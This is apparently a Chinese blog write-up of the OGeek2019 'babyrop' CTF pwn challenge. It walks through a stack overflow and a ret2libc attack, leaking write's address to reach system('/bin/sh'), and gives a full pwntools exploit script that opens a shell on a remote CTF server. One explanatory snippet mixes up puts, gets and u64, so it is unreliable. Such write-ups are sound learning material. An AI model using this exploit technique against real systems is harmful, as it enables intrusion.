OGeek2019-babyrop

基本流程

  • 读取文件
  • sub_804871F

    • 会输出文件内容
    • 一个0x20u的read可以溢出
  • sub_80487D0

    • 一个0xe7的read可以溢出
int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s; // [esp+Ch] [ebp-4Ch]
  char buf[7]; // [esp+2Ch] [ebp-2Ch]
  unsigned __int8 v5; // [esp+33h] [ebp-25h]
  ssize_t v6; // [esp+4Ch] [ebp-Ch]

  memset(&s, 0, 0x20u);
  memset(buf, 0, 0x20u);
  sprintf(&s, "%ld", a1);
  v6 = read(0, buf, 0x20u);
  buf[v6 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, &s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return v5;
}

ssize_t __cdecl sub_80487D0(char a1)
{
  ssize_t result; // eax
  char buf; // [esp+11h] [ebp-E7h]

  if ( a1 == 127 )
    result = read(0, &buf, 0xC8u);
  else
    result = read(0, &buf, a1);
  return result;
}

整体思路

本地没给system函数的got/plt表,因此得泄露某个函数地址

  • 得到libc库版本
  • 得到libc库偏移值

然后计算得到system bin_sh_add地址才行。

而本题只有一个sprintf是输出函数,而sprintf执行前在main中都有清空buffer区的代码,因此不能把某个函数真实地址写入buffer区然后读取,但是可以劫持write把地址写入文件,然后正常读取。

image-20210322113917557

因为是x32 cdecl调用,栈的格式为(这里用write泄露write地址):

构造格式:

  • 一个指令:cmd_address:gap_:arg1

    • 后面不需要参数则不需要gap_
  • 如system('/bin/sh')+exit(0)

    • system_address:exit_address:binsh_address:p32(0x0)
    • 其中,exit_address是再system('/bin/sh')执行完成后返回的地址
    • 然后程序会执行exit(0)
# write(1, *write_got, 4) 即写入模式,写入write真实地址,写入4个字节(32位)
# 因为要调用后返回main调用system因此返回地址为main函数地址
p32(write_plt_add):p32(main_add):p32(1):p32(write_got_add):p32(4)

然后第二次执行sub_804871F的时候直接溢出使得直接调用system('/bin/sh')即可

第二次payload构造

p32(system_add):p32(exit_add):p32(binsh_add):p32(0)

通过泄露的write地址计算所需的地址:

# 使用pwntools读取得到返回的地址
raw_rev = ...
puts_addr = u64(raw_rev.ljust(8, b'\x00'))

# 使用LibSearcher进行搜索得到libc的库信息
# 比如版本号,类型等
libc = LibSearcher('puts', puts_addr)

# puts_addr是实际运行中libc中puts的地址,与libc.dump对应的地址比较计算得到基址
libc_base   = puts_addr - libc.symbol('gets') 
system_addr = libc_base + libc.dump('system') 
binsh_addr  = libc_base + libc.dump('str_bin_sh')

注册机

其中有个未解开的疑点,如何使用elf读取libc并且得到字符串地址,参考上一题

  • LibSearcher生成的对象libc1
  • pwntools中的ELF生成的对象的libc2

方法一:

libc1.dump('str_bin_sh')

方法二:

X无法验证:libc2.search("/bin/sh").next()

方法三:

前面都是使用pwntools或者LibSearcher,这一种是使用one_gadget指令实现

liunx下one_gadget libc文件

其中三种都没法用,最后在网上找的地址

# env
from pwn import *
from LibcSearcher import *

context(os="linux", arch="i386", log_level="debug")
r = remote("node3.buuoj.cn",26970)
elf = ELF('pwn_baby')
libc= ELF('libc-2.23.so')


binsh_offset = libc.search('/bin/sh')
# binsh_real   = int(binsh_offset,16)
print('bin_sh',binsh_offset, type(binsh_offset))
# print(libc.symbols['bin_sh'])
# print(libc.symbols['str_bin_sh'])

### turn 1
# 溢出覆盖v5
payload = b'\x00' + b'a'*6
payload+= b'\xff'
sleep(0.3)
r.sendline(payload)

# 第二个函数溢出得到write函数地址,然后返回到main重新执行一次
r.recvuntil('Correct\n')
payload = b'a'*(0xe7 + 4)
# payload+= p32(elf.plt['write']) + p32(elf.symbols['main']) + p32(1) + p32(elf.got['write']) + p32(4)
payload+= p32(elf.plt['write']) + p32(0x08048825) + p32(1) + p32(elf.got['write']) + p32(4)
r.sendline(payload)

### turn 2
# 格式化处理得到的write地址
write_raw_add = r.recv(4) # 四字节32位就是地址长度
write_add = u32(write_raw_add) # return int address
print('write_add', hex(write_add))
# 计算地址
# libc = LibcSearcher('write', write_add)
libc_base = write_add - libc.symbols['write']
system_add= libc_base + libc.symbols['system']
exit_add  = libc_base + libc.symbols['exit']
libc = LibcSearcher('write', write_add)
binsh_add = libc_base + 0x15902b #libc.search('/bin/sh').next()#libc.dump('str_bin_sh') #libc.search('/bin/sh').next()
# 组成payload
payload = b'a'*(0xe7 + 4)
payload+= p32(system_add) + p32(exit_add) + p32(binsh_add) + p32(0)

# 溢出覆盖v5
payload2 = b'\x00' + b'a'*6
payload2+= b'\xff'
sleep(0.3)
r.sendline(payload2)

# send
r.recvuntil('Correct\n')
r.sendline(payload)

### flag
sleep(0.3)
r.sendline('cat flag')
r.interactive()

image.png

Last modification:June 29, 2021
如果觉得我的文章对你有用,请随意赞赏。咖啡(12RMB)进度+100%,一块巧克力(1RMB)进度+6%。
(赞赏请备注你的名称哦!后台记录中来自理工小菜狗)